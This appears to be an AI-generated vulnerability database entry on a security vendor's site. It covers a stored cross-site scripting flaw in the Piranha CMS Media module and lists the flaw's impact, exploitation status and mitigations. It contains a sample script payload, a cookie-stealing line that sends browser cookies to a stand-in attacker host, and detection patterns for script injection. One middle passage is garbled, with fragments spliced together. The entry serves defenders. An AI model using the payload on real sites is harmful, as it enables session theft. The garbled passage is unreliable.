
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2025-67291 is a stored cross-site scripting (XSS) vulnerability in the Media module of Piranha CMS v12.1, classified under CWE-79. It allows attackers to inject malicious JavaScript into the Name field of media folders, which is then stored and executed in the browsers of other users who view the affected content. The vulnerability was published on December 22, 2025, with a PoC added to public repositories by January 2, 2026. It carries a CVSS v3.1 base score of 6.1 (Medium), as assessed by CISA-ADP (Github Advisory, NVD).
The root cause is improper neutralization of user-supplied input (CWE-79) in the Media module's folder Name field, where Piranha CMS v12.1 fails to sanitize or encode input before storing and rendering it. An authenticated attacker can create a new media folder and insert a JavaScript payload (e.g., <script>alert(1)</script>) into the Name field; the payload executes immediately upon folder creation and again when any user clicks the Edit button and then Done on the folder entry. The attack vector is network-based, requires low attack complexity, and necessitates user interaction from a victim to trigger script execution in their browser. A public proof-of-concept is available on GitHub (PoC Repository).
Successful exploitation enables session theft, credential harvesting, website defacement, and unauthorized actions performed on behalf of victim users whose browsers execute the injected script. The vulnerability affects the confidentiality and integrity of subsequent systems (other users' browser sessions), though it has no direct availability impact on the server. Because the payload persists in the CMS database, all users who access the Media module — including administrators — are at risk until the malicious folder name is removed or the application is patched (Github Advisory, Feedly).
A public proof-of-concept exploit is available on GitHub, published around January 2, 2026 (PoC Repository). There is no current evidence of in-the-wild exploitation or threat actor attribution. The EPSS score is approximately 0.029–0.033%, indicating a low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog as of the time of this report (Github Advisory).
/manager/login.<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.<script>, onerror=, javascript:) in the Name parameter.The GitHub Advisory (GHSA-83fp-hh9m-c2jq) lists affected versions as <= 12.0.0 for the NuGet package with no patched version currently specified, while the CVE itself targets v12.1 — organizations should monitor the Piranha CMS repository for an official patch release. In the interim, restrict access to the Media module to trusted, privileged users only, and implement a Content Security Policy (CSP) header to limit script execution contexts. Audit existing media folder names in the database for any stored malicious payloads and remove them. Input validation and output encoding should be applied server-side to the Name field as a compensating control (Github Advisory).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."